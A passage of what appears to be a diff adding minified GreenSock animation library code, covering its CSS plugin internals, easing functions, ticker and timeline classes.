(i && !i.plugin) { + i.plugin = n + } + } + return i + }; + d.setRatio = function (e) { + var t = this._firstPT, + i = 1e-6, + n, r, a; + if (e === 1 && (this._tween._time === this._tween._duration || this._tween._time === 0)) { + while (t) { + if (t.type !== 2) { + if (t.r && t.type !== -1) { + n = Math.round(t.s + t.c); + if (!t.type) { + t.t[t.p] = n + t.xs0 + } else if (t.type === 1) { + a = t.l; + r = t.xs0 + n + t.xs1; + for (a = 1; a < t.l; a++) { + r += t["xn" + a] + t["xs" + (a + 1)] + } + t.t[t.p] = r + } + } else { + t.t[t.p] = t.e + } + } else { + t.setRatio(e) + } + t = t._next + } + } else if (e || !(this._tween._time === this._tween._duration || this._tween._time === 0) || this._tween._rawPrevTime === -1e-6) { + while (t) { + n = t.c * e + t.s; + if (t.r) { + n = Math.round(n) + } else if (n < i) + if (n > -i) { + n = 0 + } + if (!t.type) { + t.t[t.p] = n + t.xs0 + } else if (t.type === 1) { + a = t.l; + if (a === 2) { + t.t[t.p] = t.xs0 + n + t.xs1 + t.xn1 + t.xs2 + } else if (a === 3) { + t.t[t.p] = t.xs0 + n + t.xs1 + t.xn1 + t.xs2 + t.xn2 + t.xs3 + } else if (a === 4) { + t.t[t.p] = t.xs0 + n + t.xs1 + t.xn1 + t.xs2 + t.xn2 + t.xs3 + t.xn3 + t.xs4 + } else if (a === 5) { + t.t[t.p] = t.xs0 + n + t.xs1 + t.xn1 + t.xs2 + t.xn2 + t.xs3 + t.xn3 + t.xs4 + t.xn4 + t.xs5 + } else { + r = t.xs0 + n + t.xs1; + for (a = 1; a < t.l; a++) { + r += t["xn" + a] + t["xs" + (a + 1)] + } + t.t[t.p] = r + } + } else if (t.type === -1) { + t.t[t.p] = t.xs0 + } else if (t.setRatio) { + t.setRatio(e) + } + t = t._next + } + } else { + while (t) { + if (t.type !== 2) { + t.t[t.p] = t.b + } else { + t.setRatio(e) + } + t = t._next + } + } + }; + d._enableTransforms = function (e) { + this._transform = this._transform || Ve(this._target, o, true); + this._transformType = !(this._transform.svg && He) && (e || this._transformType === 3) ? 3 : 2 + }; + var Ze = function (e) { + this.t[this.p] = this.e; + this.data._linkCSSP(this, this._next, null, true) + }; + d._addLazySet = function (e, t, i) { + var n = this._firstPT = new Me(e, t, 0, 0, this._firstPT, 2); + n.e = i; + n.setRatio = Ze; + n.data = this + }; + d._linkCSSP = function (e, t, i, n) { + if (e) { + if (t) { + t._prev = e + } + if (e._next) { + e._next._prev = e._prev + } + if (e._prev) { + e._prev._next = e._next + } else if (this._firstPT === e) { + this._firstPT = e._next; + n = true + } + if (i) { + i._next = e + } else if (!n && this._firstPT === null) { + this._firstPT = e + } + e._next = t; + e._prev = i + } + return e + }; + d._mod = function (e) { + var t = this._firstPT; + while (t) { + if (typeof e[t.p] === "function" && e[t.p] === Math.round) { + t.r = 1 + } + t = t._next + } + }; + d._kill = function (t) { + var i = t, + n, r, a; + if (t.autoAlpha || t.alpha) { + i = {}; + for (r in t) { + i[r] = t[r] + } + i.opacity = 1; + if (i.autoAlpha) { + i.visibility = 1 + } + } + if (t.className && (n = this._classNamePT)) { + a = n.xfirst; + if (a && a._prev) { + this._linkCSSP(a._prev, n._next, a._prev._prev) + } else if (a === this._firstPT) { + this._firstPT = n._next + } + if (n._next) { + this._linkCSSP(n._next, n._next._next, a._prev) + } + this._classNamePT = null + } + n = this._firstPT; + while (n) { + if (n.plugin && n.plugin !== r && n.plugin._kill) { + n.plugin._kill(t); + r = n.plugin + } + n = n._next + } + return e.prototype._kill.call(this, i) + }; + var et = function (e, t, i) { + var n, r, a, s; + if (e.slice) { + r = e.length; + while (--r > -1) { + et(e[r], t, i) + } + return + } + n = e.childNodes; + r = n.length; + while (--r > -1) { + a = n[r]; + s = a.type; + if (a.style) { + t.push(ne(a)); + if (i) { + i.push(a) + } + } + if ((s === 1 || s === 9 || s === 11) && a.childNodes.length) { + et(a, t, i) + } + } + }; + i.cascadeTo = function (e, i, n) { + var r = t.to(e, i, n), + a = [r], + s = [], + o = [], + l = [], + u = t._internals.reservedProps, + d, f, c, h; + e = r._targets || r.target; + et(e, s, l); + r.render(i, true, true); + et(e, o); + r.render(0, true, true); + r._enabled(true); + d = l.length; + while (--d > -1) { + f = re(l[d], s[d], o[d]); + if (f.firstMPT) { + f = f.difs; + for (c in n) { + if (u[c]) { + f[c] = n[c] + } + } + h = {}; + for (c in f) { + h[c] = s[d][c] + } + a.push(t.fromTo(l[d], i, h, f)) + } + } + return a + }; + e.activate([i]); + return i + }, true); + (function () { + var e = a._gsDefine.plugin({ + propName: "roundProps", + version: "1.6.0", + priority: -1, + API: 2, + init: function (e, t, i) { + this._tween = i; + return true + } + }), + t = function (e) { + while (e) { + if (!e.f && !e.blob) { + e.m = Math.round + } + e = e._next + } + }, + i = e.prototype; + i._onInitAllProps = function () { + var e = this._tween, + i = e.vars.roundProps.join ? e.vars.roundProps : e.vars.roundProps.split(","), + n = i.length, + r = {}, + a = e._propLookup.roundProps, + s, o, l; + while (--n > -1) { + r[i[n]] = Math.round + } + n = i.length; + while (--n > -1) { + s = i[n]; + o = e._firstPT; + while (o) { + l = o._next; + if (o.pg) { + o.t._mod(r) + } else if (o.n === s) { + if (o.f === 2 && o.t) { + t(o.t._firstPT) + } else { + this._add(o.t, s, o.s, o.c); + if (l) { + l._prev = o._prev + } + if (o._prev) { + o._prev._next = l + } else if (e._firstPT === o) { + e._firstPT = l + } + o._next = o._prev = null; + e._propLookup[s] = a + } + } + o = l + } + } + return false + }; + i._add = function (e, t, i, n) { + this._addTween(e, t, i, i + n, t, Math.round); + this._overwriteProps.push(t) + } + })(); + (function () { + a._gsDefine.plugin({ + propName: "attr", + API: 2, + version: "0.6.1", + init: function (e, t, i, n) { + var r, a; + if (typeof e.setAttribute !== "function") { + return false + } + for (r in t) { + a = t[r]; + if (typeof a === "function") { + a = a(n, e) + } + this._addTween(e, "setAttribute", e.getAttribute(r) + "", a + "", r, false, r); + this._overwriteProps.push(r) + } + return true + } + }) + })(); + a._gsDefine.plugin({ + propName: "directionalRotation", + version: "0.3.1", + API: 2, + init: function (e, t, i, n) { + if (typeof t !== "object") { + t = { + rotation: t + } + } + this.finals = {}; + var r = t.useRadians === true ? Math.PI * 2 : 360, + a = 1e-6, + s, o, l, u, d, f; + for (s in t) { + if (s !== "useRadians") { + u = t[s]; + if (typeof u === "function") { + u = u(n, e) + } + f = (u + "").split("_"); + o = f[0]; + l = parseFloat(typeof e[s] !== "function" ? e[s] : e[s.indexOf("set") || typeof e["get" + s.substr(3)] !== "function" ? s : "get" + s.substr(3)]()); + u = this.finals[s] = typeof o === "string" && o.charAt(1) === "=" ? l + parseInt(o.charAt(0) + "1", 10) * Number(o.substr(2)) : Number(o) || 0; + d = u - l; + if (f.length) { + o = f.join("_"); + if (o.indexOf("short") !== -1) { + d = d % r; + if (d !== d % (r / 2)) { + d = d < 0 ? d + r : d - r + } + } + if (o.indexOf("_cw") !== -1 && d < 0) { + d = (d + r * 9999999999) % r - (d / r | 0) * r + } else if (o.indexOf("ccw") !== -1 && d > 0) { + d = (d - r * 9999999999) % r - (d / r | 0) * r + } + } + if (d > a || d < -a) { + this._addTween(e, s, l, l + d, s); + this._overwriteProps.push(s) + } + } + } + return true + }, + set: function (e) { + var t; + if (e !== 1) { + this._super.setRatio.call(this, e) + } else { + t = this._firstPT; + while (t) { + if (t.f) { + t.t[t.p](this.finals[t.p]) + } else { + t.t[t.p] = this.finals[t.p] + } + t = t._next + } + } + } + })._autoCSS = true; + a._gsDefine("easing.Back", ["easing.Ease"], function (e) { + var t = a.GreenSockGlobals || a, + i = t.com.greensock, + n = Math.PI * 2, + r = Math.PI / 2, + s = i._class, + o = function (t, i) { + var n = s("easing." + t, function () {}, true), + r = n.prototype = new e; + r.constructor = n; + r.getRatio = i; + return n + }, + l = e.register || function () {}, + u = function (e, t, i, n, r) { + var a = s("easing." + e, { + easeOut: new t, + easeIn: new i, + easeInOut: new n + }, true); + l(a, e); + return a + }, + d = function (e, t, i) { + this.t = e; + this.v = t; + if (i) { + this.next = i; + i.prev = this; + this.c = i.v - t; + this.gap = i.t - e + } + }, + f = function (t, i) { + var n = s("easing." + t, function (e) { + this._p1 = e || e === 0 ? e : 1.70158; + this._p2 = this._p1 * 1.525 + }, true), + r = n.prototype = new e; + r.constructor = n; + r.getRatio = i; + r.config = function (e) { + return new n(e) + }; + return n + }, + c = u("Back", f("BackOut", function (e) { + return (e = e - 1) * e * ((this._p1 + 1) * e + this._p1) + 1 + }), f("BackIn", function (e) { + return e * e * ((this._p1 + 1) * e - this._p1) + }), f("BackInOut", function (e) { + return (e *= 2) < 1 ? .5 * e * e * ((this._p2 + 1) * e - this._p2) : .5 * ((e -= 2) * e * ((this._p2 + 1) * e + this._p2) + 2) + })), + h = s("easing.SlowMo", function (e, t, i) { + t = t || t === 0 ? t : .7; + if (e == null) { + e = .7 + } else if (e > 1) { + e = 1 + } + this._p = e !== 1 ? t : 0; + this._p1 = (1 - e) / 2; + this._p2 = e; + this._p3 = this._p1 + this._p2; + this._calcEnd = i === true + }, true), + m = h.prototype = new e, + p, v, _, g; + m.constructor = h; + m.getRatio = function (e) { + var t = e + (.5 - e) * this._p; + if (e < this._p1) { + return this._calcEnd ? 1 - (e = 1 - e / this._p1) * e : t - (e = 1 - e / this._p1) * e * e * e * t + } else if (e > this._p3) { + return this._calcEnd ? e === 1 ? 0 : 1 - (e = (e - this._p3) / this._p1) * e : t + (e - t) * (e = (e - this._p3) / this._p1) * e * e * e + } + return this._calcEnd ? 1 : t + }; + h.ease = new h(.7, .7); + m.config = h.config = function (e, t, i) { + return new h(e, t, i) + }; + p = s("easing.SteppedEase", function (e, t) { + e = e || 1; + this._p1 = 1 / e; + this._p2 = e + (t ? 0 : 1); + this._p3 = t ? 1 : 0 + }, true); + m = p.prototype = new e; + m.constructor = p; + m.getRatio = function (e) { + if (e < 0) { + e = 0 + } else if (e >= 1) { + e = .999999999 + } + return ((this._p2 * e | 0) + this._p3) * this._p1 + }; + m.config = p.config = function (e, t) { + return new p(e, t) + }; + v = s("easing.ExpoScaleEase", function (e, t, i) { + this._p1 = Math.log(t / e); + this._p2 = t - e; + this._p3 = e; + this._ease = i + }, true); + m = v.prototype = new e; + m.constructor = v; + m.getRatio = function (e) { + if (this._ease) { + e = this._ease.getRatio(e) + } + return (this._p3 * Math.exp(this._p1 * e) - this._p3) / this._p2 + }; + m.config = v.config = function (e, t, i) { + return new v(e, t, i) + }; + _ = s("easing.RoughEase", function (t) { + t = t || {}; + var i = t.taper || "none", + n = [], + r = 0, + a = (t.points || 20) | 0, + s = a, + o = t.randomize !== false, + l = t.clamp === true, + u = t.template instanceof e ? t.template : null, + f = typeof t.strength === "number" ? t.strength * .4 : .4, + c, h, m, p, v, _; + while (--s > -1) { + c = o ? Math.random() : 1 / a * s; + h = u ? u.getRatio(c) : c; + if (i === "none") { + m = f + } else if (i === "out") { + p = 1 - c; + m = p * p * f + } else if (i === "in") { + m = c * c * f + } else if (c < .5) { + p = c * 2; + m = p * p * .5 * f + } else { + p = (1 - c) * 2; + m = p * p * .5 * f + } + if (o) { + h += Math.random() * m - m * .5 + } else if (s % 2) { + h += m * .5 + } else { + h -= m * .5 + } + if (l) { + if (h > 1) { + h = 1 + } else if (h < 0) { + h = 0 + } + } + n[r++] = { + x: c, + y: h + } + } + n.sort(function (e, t) { + return e.x - t.x + }); + _ = new d(1, 1, null); + s = a; + while (--s > -1) { + v = n[s]; + _ = new d(v.x, v.y, _) + } + this._prev = new d(0, 0, _.t !== 0 ? _ : _.next) + }, true); + m = _.prototype = new e; + m.constructor = _; + m.getRatio = function (e) { + var t = this._prev; + if (e > t.t) { + while (t.next && e >= t.t) { + t = t.next + } + t = t.prev + } else { + while (t.prev && e <= t.t) { + t = t.prev + } + } + this._prev = t; + return t.v + (e - t.t) / t.gap * t.c + }; + m.config = function (e) { + return new _(e) + }; + _.ease = new _; + u("Bounce", o("BounceOut", function (e) { + if (e < 1 / 2.75) { + return 7.5625 * e * e + } else if (e < 2 / 2.75) { + return 7.5625 * (e -= 1.5 / 2.75) * e + .75 + } else if (e < 2.5 / 2.75) { + return 7.5625 * (e -= 2.25 / 2.75) * e + .9375 + } + return 7.5625 * (e -= 2.625 / 2.75) * e + .984375 + }), o("BounceIn", function (e) { + if ((e = 1 - e) < 1 / 2.75) { + return 1 - 7.5625 * e * e + } else if (e < 2 / 2.75) { + return 1 - (7.5625 * (e -= 1.5 / 2.75) * e + .75) + } else if (e < 2.5 / 2.75) { + return 1 - (7.5625 * (e -= 2.25 / 2.75) * e + .9375) + } + return 1 - (7.5625 * (e -= 2.625 / 2.75) * e + .984375) + }), o("BounceInOut", function (e) { + var t = e < .5; + if (t) { + e = 1 - e * 2 + } else { + e = e * 2 - 1 + } + if (e < 1 / 2.75) { + e = 7.5625 * e * e + } else if (e < 2 / 2.75) { + e = 7.5625 * (e -= 1.5 / 2.75) * e + .75 + } else if (e < 2.5 / 2.75) { + e = 7.5625 * (e -= 2.25 / 2.75) * e + .9375 + } else { + e = 7.5625 * (e -= 2.625 / 2.75) * e + .984375 + } + return t ? (1 - e) * .5 : e * .5 + .5 + })); + u("Circ", o("CircOut", function (e) { + return Math.sqrt(1 - (e = e - 1) * e) + }), o("CircIn", function (e) { + return -(Math.sqrt(1 - e * e) - 1) + }), o("CircInOut", function (e) { + return (e *= 2) < 1 ? -.5 * (Math.sqrt(1 - e * e) - 1) : .5 * (Math.sqrt(1 - (e -= 2) * e) + 1) + })); + g = function (t, i, r) { + var a = s("easing." + t, function (e, t) { + this._p1 = e >= 1 ? e : 1; + this._p2 = (t || r) / (e < 1 ? e : 1); + this._p3 = this._p2 / n * (Math.asin(1 / this._p1) || 0); + this._p2 = n / this._p2 + }, true), + o = a.prototype = new e; + o.constructor = a; + o.getRatio = i; + o.config = function (e, t) { + return new a(e, t) + }; + return a + }; + u("Elastic", g("ElasticOut", function (e) { + return this._p1 * Math.pow(2, -10 * e) * Math.sin((e - this._p3) * this._p2) + 1 + }, .3), g("ElasticIn", function (e) { + return -(this._p1 * Math.pow(2, 10 * (e -= 1)) * Math.sin((e - this._p3) * this._p2)) + }, .3), g("ElasticInOut", function (e) { + return (e *= 2) < 1 ? -.5 * (this._p1 * Math.pow(2, 10 * (e -= 1)) * Math.sin((e - this._p3) * this._p2)) : this._p1 * Math.pow(2, -10 * (e -= 1)) * Math.sin((e - this._p3) * this._p2) * .5 + 1 + }, .45)); + u("Expo", o("ExpoOut", function (e) { + return 1 - Math.pow(2, -10 * e) + }), o("ExpoIn", function (e) { + return Math.pow(2, 10 * (e - 1)) - .001 + }), o("ExpoInOut", function (e) { + return (e *= 2) < 1 ? .5 * Math.pow(2, 10 * (e - 1)) : .5 * (2 - Math.pow(2, -10 * (e - 1))) + })); + u("Sine", o("SineOut", function (e) { + return Math.sin(e * r) + }), o("SineIn", function (e) { + return -Math.cos(e * r) + 1 + }), o("SineInOut", function (e) { + return -.5 * (Math.cos(Math.PI * e) - 1) + })); + s("easing.EaseLookup", { + find: function (t) { + return e.map[t] + } + }, true); + l(t.SlowMo, "SlowMo", "ease,"); + l(_, "RoughEase", "ease,"); + l(p, "SteppedEase", "ease,"); + return c + }, true) + }); + if (a._gsDefine) { + a._gsQueue.pop()() + }(function (i, a) { + "use strict"; + var s = {}, + o = i.document, + l = i.GreenSockGlobals = i.GreenSockGlobals || i; + if (l.TweenLite) { + return + } + var u = function (e) { + var t = e.split("."), + i = l, + n; + for (n = 0; n < t.length; n++) { + i[t[n]] = i = i[t[n]] || {} + } + return i + }, + d = u("com.greensock"), + f = 1e-10, + c = function (e) { + var t = [], + i = e.length, + n; + for (n = 0; n !== i; t.push(e[n++])) {} + return t + }, + h = function () {}, + m = function () { + var e = Object.prototype.toString, + t = e.call([]); + return function (i) { + return i != null && (i instanceof Array || typeof i === "object" && !!i.push && e.call(i) === t) + } + }(), + p, v, _, g, y, b = {}, + w = function (i, o, d, f) { + this.sc = b[i] ? b[i].sc : []; + b[i] = this; + this.gsClass = null; + this.func = d; + var c = []; + this.check = function (h) { + var m = o.length, + p = m, + v, _, g, y; + while (--m > -1) { + if ((v = b[o[m]] || new w(o[m], [])).gsClass) { + c[m] = v.gsClass; + p-- + } else if (h) { + v.sc.push(this) + } + } + if (p === 0 && d) { + _ = ("com.greensock." + i).split("."); + g = _.pop(); + y = u(_.join("."))[g] = this.gsClass = d.apply(d, c); + if (f) { + l[g] = s[g] = y; + if (typeof e !== "undefined" && e.exports) { + if (i === a) { + e.exports = s[a] = y; + for (m in s) { + y[m] = s[m] + } + } else if (s[a]) { + s[a][g] = y + } + } else if (true) { + !(n = [], r = function () { + return y + }.apply(t, n), r !== undefined && (e.exports = r)) + } + } + for (m = 0; m < this.sc.length; m++) { + this.sc[m].check() + } + } + }; + this.check(true) + }, + M = i._gsDefine = function (e, t, i, n) { + return new w(e, t, i, n) + }, + k = d._class = function (e, t, i) { + t = t || function () {}; + M(e, [], function () { + return t + }, i); + return t + }; + M.globals = l; + var L = [0, 0, 1, 1], + T = k("easing.Ease", function (e, t, i, n) { + this._func = e; + this._type = i || 0; + this._power = n || 0; + this._params = t ? L.concat(t) : L + }, true), + x = T.map = {}, + S = T.register = function (e, t, i, n) { + var r = t.split(","), + a = r.length, + s = (i || "easeIn,easeOut,easeInOut").split(","), + o, l, u, f; + while (--a > -1) { + l = r[a]; + o = n ? k("easing." + l, null, true) : d.easing[l] || {}; + u = s.length; + while (--u > -1) { + f = s[u]; + x[l + "." + f] = x[f + l] = o[f] = e.getRatio ? e : e[f] || new e + } + } + }; + _ = T.prototype; + _._calcEnd = false; + _.getRatio = function (e) { + if (this._func) { + this._params[0] = e; + return this._func.apply(null, this._params) + } + var t = this._type, + i = this._power, + n = t === 1 ? 1 - e : t === 2 ? e : e < .5 ? e * 2 : (1 - e) * 2; + if (i === 1) { + n *= n + } else if (i === 2) { + n *= n * n + } else if (i === 3) { + n *= n * n * n + } else if (i === 4) { + n *= n * n * n * n + } + return t === 1 ? 1 - n : t === 2 ? n : e < .5 ? n / 2 : 1 - n / 2 + }; + p = ["Linear", "Quad", "Cubic", "Quart", "Quint,Strong"]; + v = p.length; + while (--v > -1) { + _ = p[v] + ",Power" + v; + S(new T(null, null, 1, v), _, "easeOut", true); + S(new T(null, null, 2, v), _, "easeIn" + (v === 0 ? ",easeNone" : "")); + S(new T(null, null, 3, v), _, "easeInOut") + } + x.linear = d.easing.Linear.easeIn; + x.swing = d.easing.Quad.easeInOut; + var Y = k("events.EventDispatcher", function (e) { + this._listeners = {}; + this._eventTarget = e || this + }); + _ = Y.prototype; + _.addEventListener = function (e, t, i, n, r) { + r = r || 0; + var a = this._listeners[e], + s = 0, + o, l; + if (this === g && !y) { + g.wake() + } + if (a == null) { + this._listeners[e] = a = [] + } + l = a.length; + while (--l > -1) { + o = a[l]; + if (o.c === t && o.s === i) { + a.splice(l, 1) + } else if (s === 0 && o.pr < r) { + s = l + 1 + } + } + a.splice(s, 0, { + c: t, + s: i, + up: n, + pr: r + }) + }; + _.removeEventListener = function (e, t) { + var i = this._listeners[e], + n; + if (i) { + n = i.length; + while (--n > -1) { + if (i[n].c === t) { + i.splice(n, 1); + return + } + } + } + }; + _.dispatchEvent = function (e) { + var t = this._listeners[e], + i, n, r; + if (t) { + i = t.length; + if (i > 1) { + t = t.slice(0) + } + n = this._eventTarget; + while (--i > -1) { + r = t[i]; + if (r) { + if (r.up) { + r.c.call(r.s || n, { + type: e, + target: n + }) + } else { + r.c.call(r.s || n) + } + } + } + } + }; + var D = i.requestAnimationFrame, + E = i.cancelAnimationFrame, + C = Date.now || function () { + return (new Date).getTime() + }, + P = C(); + p = ["ms", "moz", "webkit", "o"]; + v = p.length; + while (--v > -1 && !D) { + D = i[p[v] + "RequestAnimationFrame"]; + E = i[p[v] + "CancelAnimationFrame"] || i[p[v] + "CancelRequestAnimationFrame"] + } + k("Ticker", function (e, t) { + var i = this, + n = C(), + r = t !== false && D ? "auto" : false, + a = 500, + s = 33, + l = "tick", + u, d, c, m, p, v = function (e) { + var t = C() - P, + r, o; + if (t > a) { + n += t - s + } + P += t; + i.time = (P - n) / 1e3; + r = i.time - p; + if (!u || r > 0 || e === true) { + i.frame++; + p += r + (r >= m ? .004 : m - r); + o = true + } + if (e !== true) { + c = d(v) + } + if (o) { + i.dispatchEvent(l) + } + }; + Y.call(i); + i.time = i.frame = 0; + i.tick = function () { + v(true) + }; + i.lagSmoothing = function (e, t) { + if (!arguments.length) { + return a < 1 / f + } + a = e || 1 / f; + s = Math.min(t, a, 0) + }; + i.sleep = function () { + if (c == null) { + return + } + if (!r || !E) { + clearTimeout(c) + } else { + E(c) + } + d = h; + c = null; + if (i === g) { + y = false + } + }; + i.wake = function (e) { + if (c !== null) { + i.sleep() + } else if (e) { + n += -P + (P = C()) + } else if (i.frame > 10) { + P = C() - a + 5 + } + d = u === 0 ? h : !r || !D ? function (e) { + return setTimeout(e, (p - i.time) * 1e3 + 1 | 0) + } : D; + if (i === g) { + y = true + } + v(2) + }; + i.fps = function (e) { + if (!arguments.length) { + return u + } + u = e; + m = 1 / (u || 60); + p = this.time + m; + i.wake() + }; + i.useRAF = function (e) { + if (!arguments.length) { + return r + } + i.sleep(); + r = e; + i.fps(u) + }; + i.fps(e); + setTimeout(function () { + if (r === "auto" && i.frame < 5 && (o || {}).visibilityState !== "hidden") { + i.useRAF(false) + } + }, 1500) + }); + _ = d.Ticker.prototype = new d.events.EventDispatcher; + _.constructor = d.Ticker; + var A = k("core.Animation", function (e, t) { + this.vars = t = t || {}; + this._duration = this._totalDuration = e || 0; + this._delay = Number(t.delay) || 0; + this._timeScale = 1; + this._active = t.immediateRender === true; + this.data = t.data; + this._reversed = t.reversed === true; + if (!Z) { + return + } + if (!y) { + g.wake() + } + var i = this.vars.useFrames ? Q : Z; + i.add(this, i._time); + if (this.vars.paused) { + this.paused(true) + } + }); + g = A.ticker = new d.Ticker; + _ = A.prototype; + _._dirty = _._gc = _._initted = _._paused = false; + _._totalTime = _._time = 0; + _._rawPrevTime = -1; + _._next = _._last = _._onUpdate = _._timeline = _.timeline = null; + _._paused = false; + var O = function () { + if (y && C() - P > 2e3 && ((o || {}).visibilityState !== "hidden" || !g.lagSmoothing())) { + g.wake() + } + var e = setTimeout(O, 2e3); + if (e.unref) { + e.unref() + } + }; + O(); + _.play = function (e, t) { + if (e != null) { + this.seek(e, t) + } + return this.reversed(false).paused(false) + }; + _.pause = function (e, t) { + if (e != null) { + this.seek(e, t) + } + return this.paused(true) + }; + _.resume = function (e, t) { + if (e != null) { + this.seek(e, t) + } + return this.paused(false) + }; + _.seek = function (e, t) { + return this.totalTime(Number(e), t !== false) + }; + _.restart = function (e, t) { + return this.reversed(false).paused(false).totalTime(e ? -this._delay : 0, t !== false, true) + }; + _.reverse = function (e, t) { + if (e != null) { + this.seek(e || this.totalDuration(), t) + } + return this.reversed(true).paused(false) + }; + _.render = function (e, t, i) {}; + _.invalidate = function () { + this._time = this._totalTime = 0; + this._initted = this._gc = false; + this._rawPrevTime = -1; + if (this._gc || !this.timeline) { + this._enabled(true) + } + return this + }; + _.isActive = function () { + var e = this._timeline, + t = this._startTime, + i; + return !e || !this._gc && !this._paused && e.isActive() && (i = e.rawTime(true)) >= t && i < t + this.totalDuration() / this._timeScale - 1e-7 + }; + _._enabled = function (e, t) { + if (!y) { + g.wake() + } + this._gc = !e; + this._active = this.isActive(); + if (t !== true) { + if (e && !this.timeline) { + this._timeline.add(this, this._startTime - this._delay) + } else if (!e && this.timeline) { + this._timeline._remove(this, true) + } + } + return false + }; + _._kill = function (e, t) { + return this._enabled(false, false) + }; + _.kill = function (e, t) { + this._kill(e, t); + return this + }; + _._uncache = function (e) { + var t = e ? this : this.timeline; + while (t) { + t._dirty = true; + t = t.timeline + } + return this + }; + _._swapSelfInParams = function (e) { + var t = e.length, + i = e.concat(); + while (--t > -1) { + if (e[t] === "{self}") { + i[t] = this + } + } + return i + }; + _._callback = function (e) { + var t = this.vars, + i = t[e], + n = t[e + "Params"], + r = t[e + "Scope"] || t.callbackScope || this, + a = n ? n.length : 0; + switch (a) { + case 0: + i.call(r); + break; + case 1: + i.call(r, n[0]); + break; + case 2: + i.call(r, n[0], n[1]); + break; + default: + i.apply(r, n) + } + }; + _.eventCallback = function (e, t, i, n) { + if ((e || "").substr(0, 2) === "on") { + var r = this.vars; + if (arguments.length === 1) { + return r[e] + } + if (t == null) { + delete r[e] + } else { + r[e] = t; + r[e + "Params"] = m(i) && i.join("").indexOf("{self}") !== -1 ? this._swapSelfInParams(i) : i; + r[e + "Scope"] = n + } + if (e === "onUpdate") { + this._onUpdate = t + } + } + return this + }; + _.delay = function (e) { + if (!arguments.length) { + return this._delay + } + if (this._timeline.smoothChildTiming) { + this.startTime(this._startTime + e - this._delay) + } + this._delay = e; + return this + }; + _.duration = function (e) { + if (!arguments.length) { + this._dirty = false; + return this._duration + } + this._duration = this._totalDuration = e; + this._uncache(true); + if (this._timeline.smoothChildTiming) + if (this._time > 0) + if (this._time < this._duration) + if (e !== 0) { + this.totalTime(this._totalTime * (e / this._duration), true) + } + return this + }; + _.totalDuration = function (e) { + this._dirty = false; + return !arguments.length ? this._totalDuration : this.duration(e) + }; + _.time = function (e, t) { + if (!arguments.length) { + return this._time + } + if (this._dirty) { + this.totalDuration() + } + return this.totalTime(e > this._duration ? this._duration : e, t) + }; + _.totalTime = function (e, t, i) { + if (!y) { + g.wake() + } + if (!arguments.length) { + return this._totalTime + } + if (this._timeline) { + if (e < 0 && !i) { + e += this.totalDuration() + } + if (this._timeline.smoothChildTiming) { + if (this._dirty) { + this.totalDuration() + } + var n = this._totalDuration, + r = this._timeline; + if (e > n && !i) { + e = n + } + this._startTime = (this._paused ? this._pauseTime : r._time) - (!this._reversed ? e : n - e) / this._timeScale; + if (!r._dirty) { + this._uncache(false) + } + if (r._timeline) { + while (r._timeline) { + if (r._timeline._time !== (r._startTime + r._totalTime) / r._timeScale) { + r.totalTime(r._totalTime, true) + } + r = r._timeline + } + } + } + if (this._gc) { + this._enabled(true, false) + } + if (this._totalTime !== e || this._duration === 0) { + if (z.length) { + te() + } + this.render(e, t, false); + if (z.length) { + te() + } + } + } + return this + }; + _.progress = _.totalProgress = function (e, t) { + var i = this.duration(); + return !arguments.length ? i ? this._time / i : this.ratio : this.totalTime(i * e, t) + }; + _.startTime = function (e) { + if (!arguments.length) { + return this._startTime + } + if (e !== this._startTime) { + this._startTime = e; + if (this.timeline) + if (this.timeline._sortChildren) { + this.timeline.add(this, e - this._delay) + } + } + return this + }; + _.endTime = function (e) { + return this._startTime + (e != false ? this.totalDuration() : this.duration()) / this._timeScale + }; + _.timeScale = function (e) { + if (!arguments.length) { + return this._timeScale + } + var t, i; + e = e || f; + if (this._timeline && this._timeline.smoothChildTiming) { + t = this._pauseTime; + i = t || t === 0 ? t : this._timeline.totalTime(); + this._startTime = i - (i - this._startTime) * this._timeScale / e + } + this._timeScale = e; + i = this.timeline; + while (i && i.timeline) { + i._dirty = true; + i.totalDuration(); + i = i.timeline + } + return this + }; + _.reversed = function (e) { + if (!arguments.length) { + return this._reversed + } + if (e != this._reversed) { + this._reversed = e; + this.totalTime(this._timeline && !this._timeline.smoothChildTiming ? this.totalDuration() - this._totalTime : this._totalTime, true) + } + return this + }; + _.paused = function (e) { + if (!arguments.length) { + return this._paused + } + var t = this._timeline, + i, n; + if (e != this._paused) + if (t) { + if (!y && !e) { + g.wake() + } + i = t.rawTime(); + n = i - this._pauseTime; + if (!e && t.smoothChildTiming) { + this._startTime += n; + this._uncache(false) + } + this._pauseTime = e ? i : null; + this._paused = e; + this._active = this.isActive(); + if (!e && n !== 0 && this._initted && this.duration()) { + i = t.smoothChildTiming ? this._totalTime : (i - this._startTime) / this._timeScale; + this.render(i, i === this._totalTime, true) + } + } + if (this._gc && !e) { + this._enabled(true, false) + } + return this + }; + var j = k("core.SimpleTimeline", function (e) { + A.call(this, 0, e); + this.autoRemoveChildren = this.smoothChildTiming = true + }); + _ = j.prototype = new A; + _.constructor = j; + _.kill()._gc = false; + _._first = _._last = _._recent = null; + _._sortChildren = false; + _.add = _.insert = function (e, t, i, n) { + var r, a; + e._startTime = Number(t || 0) + e._delay; + if (e._paused) + if (this !== e._timeline) { + e._pauseTime = e._startTime + (this.rawTime() - e._startTime) / e._timeScale + } + if (e.timeline) { + e.timeline._remove(e, true) + } + e.timeline = e._timeline = this; + if (e._gc) { + e._enabled(true, true) + } + r = this._last; + if (this._sortChildren) { + a = e._startTime; + while (r && r._startTime > a) { + r = r._prev + } + } + if (r) { + e._next = r._next; + r._next = e + } else { + e._next = this._first; + this._first = e + } + if (e._next) { + e._next._prev = e + } else { + this._last = e + } + e._prev = r; + this._recent = e; + if (this._timeline) { + this._uncache(true) + } + return this + }; + _._remove = function (e, t) { + if (e.timeline === this) { + if (!t) { + e._enabled(false, true) + } + if (e._prev) { + e._prev._next = e._next + } else if (this._first === e) { + this._first = e._next + } + if (e._next) { + e._next._prev = e._prev + } else if (this._last === e) { + this._last = e._prev + } + e._next = e._prev = e.timeline = null; + if (e === this._recent) { + this._recent = this._last + } + if (this._timeline) { + this._uncache(true) + } + } + return this + }; + _.render = function (e, t, i) { + var n = this._first, + r; + this._totalTime = this._time = this._rawPrevTime = e; + while (n) { + r = n._next; + if (n._active || e >= n._startTime && !n._paused && !n._gc) { + if (!n._reversed) { + n.render((e - n._startTime) * n._timeScale, t, i) + } else { + n.render((!n._dirty ? n._totalDuration : n.totalDuration()) - (e - n._startTime) * n._timeScale, t, i) + } + } + n = r + } + }; + _.rawTime = function () { + if (!y) { + g.wake() + } + return this._totalTime + 